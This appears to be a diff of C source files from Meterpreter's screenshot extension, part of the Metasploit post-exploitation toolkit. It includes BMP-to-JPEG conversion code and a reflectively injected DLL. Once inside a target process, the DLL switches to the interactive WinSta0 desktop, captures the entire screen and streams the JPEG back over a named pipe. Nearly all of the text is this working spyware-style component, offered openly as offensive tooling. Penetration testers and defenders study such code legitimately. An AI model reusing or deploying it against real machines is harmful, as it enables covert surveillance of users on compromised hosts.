* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*/
JDIMENSION get_24bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 24-bit pixels */
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
JSAMPARRAY image_ptr;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Transfer data. Note source values are in BGR order
* (even though Microsoft's own documents say the opposite).
*/
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */
outptr[1] = *inptr++;
outptr[0] = *inptr++;
outptr += 3;
}
return 1;
}
/*
*
* NOTE: Again, windows might only ever use 32bit BMP's making this function
* useless. However, I'll leave it here until I can confirm that.
*
* NOTE: cjpeg_source_ptr sinfo is really a BMP ptr.
*/
JDIMENSION get_32bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 32-bit pixels */
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
JSAMPARRAY image_ptr;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
source->source_row, (JDIMENSION) 1, FALSE);
/* Transfer data. Note source values are in BGR order
* (even though Microsoft's own documents say the opposite).
*/
inptr = image_ptr[0];
outptr = source->pub.buffer[0];
for (col = cinfo->image_width; col > 0; col--) {
outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */
outptr[1] = *inptr++;
outptr[0] = *inptr++;
*inptr++; // Skip the 4th bit (Alpha Channel)
outptr += 3;
}
return 1;
}
/*
* This method loads the image into whole_image during the first call on
* get_pixel_rows. The get_pixel_rows pointer is then adjusted to call
* get_8bit_row, get_24bit_row or get_32bit_row on subsequent calls.
* This will not copy the image header info. Just the raw image data.
*/
JDIMENSION preload_image (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
// register FILE *infile = source->pub.input_file;
// register int c;
register JSAMPROW out_ptr;
JSAMPARRAY image_ptr;
JDIMENSION row;
/* Read the data into a virtual array in input-file row order. */
for (row = 0; row < cinfo->image_height; row++) {
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr) cinfo, source->whole_image,
row, (JDIMENSION) 1, TRUE);
out_ptr = image_ptr[0];
// Copy the bmp data
memcpy(out_ptr, source->pub.input_buf + source->pub.read_offset, source->row_width);
source->pub.read_offset += source->row_width;
}
/* Set up to read from the virtual array in top-to-bottom order */
switch (source->bits_per_pixel) {
case 8:
source->pub.get_pixel_rows = get_8bit_row;
break;
case 16:
source->pub.get_pixel_rows = get_16bit_row;
break;
case 24:
source->pub.get_pixel_rows = get_24bit_row;
break;
case 32:
source->pub.get_pixel_rows = get_32bit_row;
break;
default:
return 0; //ERREXIT(cinfo, JERR_BMP_BADDEPTH);
}
source->source_row = cinfo->image_height;
/* And read the first row */
return (*source->pub.get_pixel_rows) (cinfo, sinfo);
}
/*
* Read the file header; return image size and component count.
* A lot of this could might be safe to remove since we might
* only ever be using 32bit Windows BMP images. UPDATE: or 16bit BMPs
*/
void start_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
bmp_source_ptr source = (bmp_source_ptr) sinfo;
U_CHAR bmpfileheader[14];
U_CHAR bmpinfoheader[64];
#define GET_2B(array,offset) ((unsigned int) UCH(array[offset]) + \
(((unsigned int) UCH(array[offset+1])) << 8))
#define GET_4B(array,offset) ((INT32) UCH(array[offset]) + \
(((INT32) UCH(array[offset+1])) << 8) + \
(((INT32) UCH(array[offset+2])) << 16) + \
(((INT32) UCH(array[offset+3])) << 24))
INT32 bfOffBits;
INT32 headerSize;
INT32 biWidth;
INT32 biHeight;
unsigned int biPlanes;
INT32 biCompression;
INT32 biXPelsPerMeter,biYPelsPerMeter;
INT32 biClrUsed = 0;
int mapentrysize = 0; /* 0 indicates no colormap */
INT32 bPad;
JDIMENSION row_width;
/* Read and verify the bitmap file header */
// Its a bitmap... I just made it.. But, if you findout otherwise
// return without an error message.. Better than a crash I guess.
if (! ReadOK(source, bmpfileheader, 14))
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
if (GET_2B(bmpfileheader,0) != 0x4D42) /* 'BM' */
return; //ERREXIT(cinfo, JERR_BMP_NOT);
bfOffBits = (INT32) GET_4B(bmpfileheader,10);
/* We ignore the remaining fileheader fields */
/* The infoheader might be 12 bytes (OS/2 1.x), 40 bytes (Windows),
* or 64 bytes (OS/2 2.x). Check the first 4 bytes to find out which.
*
* Read the first for bytes to figure out how big the header is.
* The read the rest of the header (once we know its size)
*/
if (! ReadOK(source, bmpinfoheader, 4))
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
headerSize = (INT32) GET_4B(bmpinfoheader,0);
if (headerSize < 12 || headerSize > 64)
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
if (! ReadOK(source, bmpinfoheader+4, headerSize-4)) // Read the rest of the header
return; //ERREXIT(cinfo, JERR_INPUT_EOF);
switch ((int) headerSize) {
case 12:
/* Decode OS/2 1.x header (Microsoft calls this a BITMAPCOREHEADER) */
biWidth = (INT32) GET_2B(bmpinfoheader,4);
biHeight = (INT32) GET_2B(bmpinfoheader,6);
biPlanes = GET_2B(bmpinfoheader,8);
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,10);
switch (source->bits_per_pixel) {
case 8: /* colormapped image */
mapentrysize = 3; /* OS/2 uses RGBTRIPLE colormap */
//TRACEMS2(cinfo, 1, JTRC_BMP_OS2_MAPPED, (int) biWidth, (int) biHeight);
break;
case 24: /* RGB image */
//TRACEMS2(cinfo, 1, JTRC_BMP_OS2, (int) biWidth, (int) biHeight);
break;
default:
//ERREXIT(cinfo, JERR_BMP_BADDEPTH);
break;
}
break;
case 40: // When using "High color"
biWidth = (INT32) GET_4B(bmpinfoheader,4);
biHeight = (INT32) GET_4B(bmpinfoheader,8);
biPlanes = GET_2B(bmpinfoheader,12);
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14);
biCompression = GET_4B(bmpinfoheader,16);
biXPelsPerMeter = GET_4B(bmpinfoheader,24);
biYPelsPerMeter = GET_4B(bmpinfoheader,28);
biClrUsed = GET_4B(bmpinfoheader,32);
if (biCompression != 0)
return;
if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) {
/* Set JFIF density parameters from the BMP data */
cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */
cinfo->Y_density = (UINT16) (biYPelsPerMeter/100);
cinfo->density_unit = 2; /* dots/cm */
}
break;
case 64: // This is the one we get on 32bit Windows 7 from GDI
/* Decode Windows 3.x header (Microsoft calls this a BITMAPINFOHEADER) */
/* or OS/2 2.x header, which has additional fields that we ignore */
biWidth = GET_4B(bmpinfoheader,4);
biHeight = GET_4B(bmpinfoheader,8);
biPlanes = GET_2B(bmpinfoheader,12);
source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14);
biCompression = GET_4B(bmpinfoheader,16);
biXPelsPerMeter = GET_4B(bmpinfoheader,24);
biYPelsPerMeter = GET_4B(bmpinfoheader,28);
biClrUsed = GET_4B(bmpinfoheader,32);
/* biSizeImage, biClrImportant fields are ignored */
switch (source->bits_per_pixel) {
case 8: /* colormapped image */
mapentrysize = 4; /* Windows uses RGBQUAD colormap */
// TRACEMS2(cinfo, 1, JTRC_BMP_MAPPED, (int) biWidth, (int) biHeight);
break;
case 24: /* RGB image */
// TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight);
break;
case 32: /* RGB image + Alpha Channel */
// TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight);
break;
default:
return; //ERREXIT(cinfo, JERR_BMP_BADDEPTH);
break;
}
if (biCompression != 0)
return; //ERREXIT(cinfo, JERR_BMP_COMPRESSED);
if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) {
/* Set JFIF density parameters from the BMP data */
cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */
cinfo->Y_density = (UINT16) (biYPelsPerMeter/100);
cinfo->density_unit = 2; /* dots/cm */
}
break;
default:
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
return;
}
if (biWidth <= 0 || biHeight <= 0)
return; //ERREXIT(cinfo, JERR_BMP_EMPTY);
if (biPlanes != 1)
return; //ERREXIT(cinfo, JERR_BMP_BADPLANES);
/* Compute distance to bitmap data --- will adjust for colormap below */
bPad = bfOffBits - (headerSize + 14);
/* Read the colormap, if any */
if (mapentrysize > 0) {
if (biClrUsed <= 0)
biClrUsed = 256; /* assume it's 256 */
else if (biClrUsed > 256)
return; //ERREXIT(cinfo, JERR_BMP_BADCMAP);
/* Allocate space to store the colormap */
source->colormap = (*cinfo->mem->alloc_sarray)
((j_common_ptr) cinfo, JPOOL_IMAGE,
(JDIMENSION) biClrUsed, (JDIMENSION) 3);
/* and read it from the file */
read_colormap(source, (int) biClrUsed, mapentrysize);
/* account for size of colormap */
bPad -= biClrUsed * mapentrysize;
}
/* Skip any remaining pad bytes */
if (bPad < 0) /* incorrect bfOffBits value? */
return; //ERREXIT(cinfo, JERR_BMP_BADHEADER);
// Not reading a file... so, just jump to the start..
// No need to read_byte as an fseek hack.
source->pub.read_offset = bfOffBits;
//while (--bPad >= 0) {
// (void) read_byte(source);
//}
/* Compute row width in file, including padding to 4-byte boundary */
if (source->bits_per_pixel == 16)
row_width = (JDIMENSION) (biWidth * 2);
else if (source->bits_per_pixel == 24)
row_width = (JDIMENSION) (biWidth * 3);
else if (source->bits_per_pixel == 32)
row_width = (JDIMENSION) (biWidth * 4);
else
row_width = (JDIMENSION) biWidth;
while ((row_width & 3) != 0) row_width++;
source->row_width = row_width;
/* Allocate space for inversion array, prepare for preload pass */
source->whole_image = (*cinfo->mem->request_virt_sarray)
((j_common_ptr) cinfo, JPOOL_IMAGE, FALSE,
row_width, (JDIMENSION) biHeight, (JDIMENSION) 1);
source->pub.get_pixel_rows = preload_image;
/* Allocate one-row buffer for returned data */
source->pub.buffer = (*cinfo->mem->alloc_sarray)
((j_common_ptr) cinfo, JPOOL_IMAGE,
(JDIMENSION) (biWidth * 3), (JDIMENSION) 1);
source->pub.buffer_height = 1;
cinfo->in_color_space = JCS_RGB;
cinfo->input_components = 3;
cinfo->data_precision = 8;
cinfo->image_width = (JDIMENSION) biWidth;
cinfo->image_height = (JDIMENSION) biHeight;
}
/*
* Finish up at the end of the file.
*/
void finish_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
{
/* no work */
}
/*
* The module selection routine for BMP format input.
*/
cjpeg_source_ptr jinit_read_bmp (j_compress_ptr cinfo)
{
bmp_source_ptr source;
/* Create module interface object */
source = (bmp_source_ptr)
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
SIZEOF(bmp_source_struct));
source->cinfo = cinfo; /* make back link for subroutines */
/* Fill in method ptrs, except get_pixel_rows which start_input sets */
source->pub.start_input = start_input_bmp;
source->pub.finish_input = finish_input_bmp;
return (cjpeg_source_ptr) source;
}
/*
* See: http://msdn.microsoft.com/en-us/library/dd145119%28VS.85%29.aspx
* This function was copied from the MSDN example.
* It was then modified to send the BMP data rather than save to disk
* It was then modified to conver the BMP to JPEG and send
* Now its realy big.
*/
int bmp2jpeg(HBITMAP hBmp, HDC hDC, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size )
{
// data structures
BITMAP bmp;
PBITMAPINFO pbmi;
WORD cClrBits;
BITMAPFILEHEADER hdr; // bitmap file-header
PBITMAPINFOHEADER pbih; // bitmap info-header
LPBYTE lpBits; // memory pointer
DWORD dwTotal; // total count of bytes
DWORD cb; // incremental count of bytes
BYTE *hp; // byte pointer
DWORD s;
TCHAR* buf;
// Convert to JPEG stuff
struct jpeg_compress_struct cinfo;
struct jpeg_error_mgr jerr;
cjpeg_source_ptr src_mgr;
JDIMENSION num_scanlines;
// Retrieve the bitmap's color format, width, and height.
if (!GetObject(hBmp, sizeof(BITMAP), (LPVOID) &bmp))
// GetObject failed
return 0;
// Convert the color format to a count of bits.
cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel);
if (cClrBits == 1)
cClrBits = 1;
else if (cClrBits <= 4)
cClrBits = 4;
else if (cClrBits <= 8)
cClrBits = 8;
else if (cClrBits <= 16)
cClrBits = 16;
else if (cClrBits <= 24)
cClrBits = 24;
else cClrBits = 32;
// Allocate memory for the BITMAPINFO structure. (This structure
// contains a BITMAPINFOHEADER structure and an array of RGBQUAD
// data structures.)
if (cClrBits != 24)
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (1<< cClrBits));
// There is no RGBQUAD array for the 24-bit-per-pixel format.
else
pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER));
// Initialize the fields in the BITMAPINFO structure.
pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
pbmi->bmiHeader.biWidth = bmp.bmWidth;
pbmi->bmiHeader.biHeight = bmp.bmHeight;
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
if (cClrBits < 24)
pbmi->bmiHeader.biClrUsed = (1<<cClrBits);
// If the bitmap is not compressed, set the BI_RGB flag.
pbmi->bmiHeader.biCompression = BI_RGB;
// Compute the number of bytes in the array of color
// indices and store the result in biSizeImage.
pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) /8
* pbmi->bmiHeader.biHeight * cClrBits;
// Set biClrImportant to 0, indicating that all of the
// device colors are important.
pbmi->bmiHeader.biClrImportant = 0;
pbih = (PBITMAPINFOHEADER) pbmi;
lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
if (!lpBits) {
// GlobalAlloc failed
//printf("error: out of memory\n");
return 0;
}
// Retrieve the color table (RGBQUAD array) and the bits
// (array of palette indices) from the DIB.
if (!GetDIBits(hDC, hBmp, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) {
// GetDIBits failed
//printf("error: GetDiBits failed\n");
return 0;
}
hdr.bfType = 0x4d42; // 0x42 = "B" 0x4d = "M"
// Compute the size of the entire file.
hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) +
pbih->biSize + pbih->biClrUsed
* sizeof(RGBQUAD) + pbih->biSizeImage);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
// Compute the offset to the array of color indices.
hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) +
pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD);
s = sizeof(BITMAPFILEHEADER);
s = s + (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
// Copy the array of color indices into the .BMP file.
dwTotal = cb = pbih->biSizeImage;
hp = lpBits;
s = s + ((int) cb);
buf = (TCHAR *)malloc(s * sizeof(TCHAR));
memcpy(buf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER));
memcpy(buf+sizeof(BITMAPFILEHEADER),(LPVOID) pbih, sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
memcpy(buf+sizeof(BITMAPFILEHEADER)+ (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD)),(LPSTR) hp, (int) cb);
// Don't send it yet. Convert it to a JPEG.
//packet_add_tlv_raw(resp, TLV_TYPE_DEV_SCREEN, buf, s);
// JPEG conversion start here..'
// buf is a pointer to a BMP in memory.
/* Initialize JPEG parameters.
* Much of this may be overridden later.
* We need to provide some value for jpeg_set_defaults() to work.
*/
cinfo.err = jpeg_std_error(&jerr);
jpeg_create_compress(&cinfo);
cinfo.in_color_space = JCS_RGB; /* arbitrary guess */
jpeg_set_defaults(&cinfo);
src_mgr = jinit_read_bmp(&cinfo); //Returns a cjpeg_source_ptr but is really bmp_source_ptr...
src_mgr->input_buf = buf;
src_mgr->read_offset = 0;
/* Read the input file header to obtain file size & colorspace. */
start_input_bmp(&cinfo, src_mgr);
jpeg_default_colorspace(&cinfo);
// TODO: accept options from the command line for grayscale and quality.
/* Go GRAYSCALE */
//jpeg_set_colorspace(&cinfo, JCS_GRAYSCALE);
/* Quality */
jpeg_set_quality(&cinfo, quality, FALSE);
// Write the compressed JPEG to memory: bug_jpeg
jpeg_mem_dest(&cinfo, buf_jpeg, buf_jpeg_size);
/* Start compressor */
jpeg_start_compress(&cinfo, TRUE);
/* Process data */
while (cinfo.next_scanline < cinfo.image_height) {
num_scanlines = (*src_mgr->get_pixel_rows) (&cinfo, src_mgr);
(void) jpeg_write_scanlines(&cinfo, src_mgr->buffer, num_scanlines);
}
/* Finish compression and release memory */
(*src_mgr->finish_input) (&cinfo, src_mgr);
jpeg_finish_compress(&cinfo);
jpeg_destroy_compress(&cinfo);
// Free memory.
GlobalFree((HGLOBAL)lpBits);
// This wasn't being free'ed before. Shouldn't you free all malloc calls?
free(buf);
return 1;
}

View File

@ -0,0 +1,73 @@
#ifndef _METERPRETER_SOURCE_SCREENSHOT_JPEG_H
#define _METERPRETER_SOURCE_SCREENSHOT_JPEG_H
#include "jinclude.h"
#include "jpeglib.h"
#include "jerror.h"
/*
* Object interface for cjpeg's source file decoding modules
* This is the structure used to handle the converstion to a JPEG
* The code "borrowed" from rdbmp.c example also uses this struct
* to reference a BMP, then uses type casting trickery to change it.
* All I have to say is "Just because you can do soemthing doesn't
* mean you should do it". But it works, and I'm too lazy to make it
* easier to "read". So a heads up, when you see a cjpeg_source being
* tossed around, it might really be a BMP.
*
* This structure was modified from the IJG's example to support
* conversion in memory without using disk.
*/
typedef struct cjpeg_source_struct * cjpeg_source_ptr;
struct cjpeg_source_struct {
JMETHOD(void, start_input, (j_compress_ptr cinfo,
cjpeg_source_ptr sinfo));
JMETHOD(JDIMENSION, get_pixel_rows, (j_compress_ptr cinfo,
cjpeg_source_ptr sinfo));
JMETHOD(void, finish_input, (j_compress_ptr cinfo,
cjpeg_source_ptr sinfo));
TCHAR *input_buf;
UINT read_offset;
JSAMPARRAY buffer;
JDIMENSION buffer_height;
};
/* Private version of data source object */
typedef struct _bmp_source_struct * bmp_source_ptr;
typedef struct _bmp_source_struct {
struct cjpeg_source_struct pub; /* public fields */
j_compress_ptr cinfo; /* back link saves passing separate parm */
JSAMPARRAY colormap; /* BMP colormap (converted to my format) */
jvirt_sarray_ptr whole_image; /* Needed to reverse row order */
JDIMENSION source_row; /* Current source row number */
JDIMENSION row_width; /* Physical width of scanlines in file */
int bits_per_pixel; /* remembers 8- or 24-bit format */
} bmp_source_struct;
// JPEG related functions
int ReadOK(bmp_source_ptr, char*, int);
int read_byte (bmp_source_ptr);
void read_colormap (bmp_source_ptr, int, int);
JDIMENSION get_8bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION get_16bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION get_24bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION get_32bit_row (j_compress_ptr, cjpeg_source_ptr);
JDIMENSION preload_image (j_compress_ptr, cjpeg_source_ptr);
void start_input_bmp (j_compress_ptr, cjpeg_source_ptr);
void finish_input_bmp (j_compress_ptr, cjpeg_source_ptr);
cjpeg_source_ptr jinit_read_bmp (j_compress_ptr);
// BMP-screenshot related functions
int bmp2jpeg(HBITMAP hBmp, HDC hDC, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size );
#endif

View File

@ -0,0 +1,317 @@
#include "screenshot.h"
#include "bmp2jpeg.h"
// define this as we are going to be injected via RDI
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// define this as we want to use our own DllMain function
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
/*
* Send a buffer to a named pipe server.
*/
DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hPipe = NULL;
DWORD dwWritten = 0;
DWORD dwTotal = 0;
do
{
hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( !hPipe )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
if( !dwJpegSize || !pJpegBuffer )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );
while( dwTotal < dwJpegSize )
{
if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) )
break;
dwTotal += dwWritten;
}
if( dwTotal != dwJpegSize )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH );
dwResult = ERROR_SUCCESS;
} while( 0 );
CLOSE_HANDLE( hPipe );
return dwResult;
}
/*
* Take a screenshot of this sessions default input desktop on WinSta0
* and send it as a JPEG image to a named pipe.
*/
DWORD screenshot( int quality, DWORD dwPipeName )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HWINSTA hWindowStation = NULL;
HWINSTA hOrigWindowStation = NULL;
HDESK hInputDesktop = NULL;
HDESK hOrigDesktop = NULL;
HWND hDesktopWnd = NULL;
HDC hdc = NULL;
HDC hmemdc = NULL;
HBITMAP hbmp = NULL;
BYTE * pJpegBuffer = NULL;
OSVERSIONINFO os = {0};
char cNamedPipe[MAX_PATH] = {0};
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
int xmetric = SM_CXVIRTUALSCREEN;
int ymetric = SM_CYVIRTUALSCREEN;
DWORD dwJpegSize = 0;
int sx = 0;
int sy = 0;
do
{
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
if( os.dwMajorVersion <= 4 )
{
xmetric = SM_CXSCREEN;
ymetric = SM_CYSCREEN;
}
// open the WinSta0 as some services are attached to a different window station.
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
if( !hWindowStation )
{
if( RevertToSelf() )
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
}
// if we cant open the defaut input station we wont be able to take a screenshot
if( !hWindowStation )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
// get the current process's window station so we can restore it later on.
hOrigWindowStation = GetProcessWindowStation();
// set the host process's window station to this sessions default input station we opened
if( !SetProcessWindowStation( hWindowStation ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
// grab a handle to the default input desktop (e.g. Default or WinLogon)
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
if( !hInputDesktop )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );
// get the threads current desktop so we can restore it later on
hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );
// set this threads desktop to that of this sessions default input desktop on WinSta0
SetThreadDesktop( hInputDesktop );
// and now we can grab a handle to this input desktop
hDesktopWnd = GetDesktopWindow();
// and get a DC from it so we can read its pixels!
hdc = GetDC( hDesktopWnd );
if( !hdc )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );
// back up this DC with a memory DC
hmemdc = CreateCompatibleDC( hdc );
if( !hmemdc )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );
// calculate the width and height
sx = GetSystemMetrics( xmetric );
sy = GetSystemMetrics( ymetric );
// and create a bitmap
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
if( !hbmp )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
// this bitmap is backed by the memory DC
if( !SelectObject( hmemdc, hbmp ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
// finally convert the BMP we just made into a JPEG...
if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );
// we have succeded
dwResult = ERROR_SUCCESS;
} while( 0 );
// if we have successfully taken a screenshot we send it back via the named pipe
// but if we have failed we send back a zero byte result to indicate this failure.
if( dwResult == ERROR_SUCCESS )
screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
else
screenshot_send( cNamedPipe, NULL, 0 );
if( hdc )
ReleaseDC( hDesktopWnd, hdc );
if( hmemdc )
DeleteDC( hmemdc );
if( hbmp )
DeleteObject( hbmp );
// free the jpeg images buffer
if( pJpegBuffer )
free( pJpegBuffer );
// restore the origional process's window station
if( hOrigWindowStation )
SetProcessWindowStation( hOrigWindowStation );
// restore the threads origional desktop
if( hOrigDesktop )
SetThreadDesktop( hOrigDesktop );
// close the WinSta0 window station handle we opened
if( hWindowStation )
CloseWindowStation( hWindowStation );
// close this last to avoid a handle leak...
if( hInputDesktop )
CloseDesktop( hInputDesktop );
return dwResult;
}
/*
* Grab a DWORD value out of the command line.
* e.g. screenshot_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
*/
DWORD screenshot_command_dword( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
DWORD dwResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
dwResult = strtoul( cpString, NULL, 0 );
} while( 0 );
return dwResult;
}
/*
* Grab a int value out of the command line.
* e.g. screenshot_command_int( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
*/
int screenshot_command_int( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
int iResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
iResult = atoi( cpString );
} while( 0 );
return iResult;
}
/*
* The real entrypoint for this app.
*/
VOID screenshot_main( char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_PARAMETER;
do
{
dprintf( "[SCREENSHOT] screenshot_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
if( !cpCommandLine )
break;
if( strlen( cpCommandLine ) == 0 )
break;
dprintf( "[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine );
if( strstr( cpCommandLine, "/s" ) )
{
DWORD dwPipeName = 0;
int quality = 0;
quality = screenshot_command_int( cpCommandLine, "/q:" );
dwPipeName = screenshot_command_dword( cpCommandLine, "/p:" );
dwResult = screenshot( quality, dwPipeName );
}
} while( 0 );
dprintf( "[SCREENSHOT] screenshot_main. ExitThread dwResult=%d", dwResult );
ExitThread( dwResult );
}
/*
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
*/
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
hAppInstance = hInstance;
if( lpReserved != NULL )
screenshot_main( (char *)lpReserved );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,35 @@
#ifndef _METERPRETER_SOURCE_SCREENSHOT_SCREENSHOT_H
#define _METERPRETER_SOURCE_SCREENSHOT_SCREENSHOT_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
#else
#define dprintf(...) do{}while(0);
#endif
static void real_dprintf(char *format, ...) {
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugString(buffer);
}
// Simple macro to close a handle and set the handle to NULL.
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
typedef BOOL (WINAPI * CHECKTOKENMEMBERSHIP)( HANDLE TokenHandle, PSID SidToCheck, PBOOL IsMember );
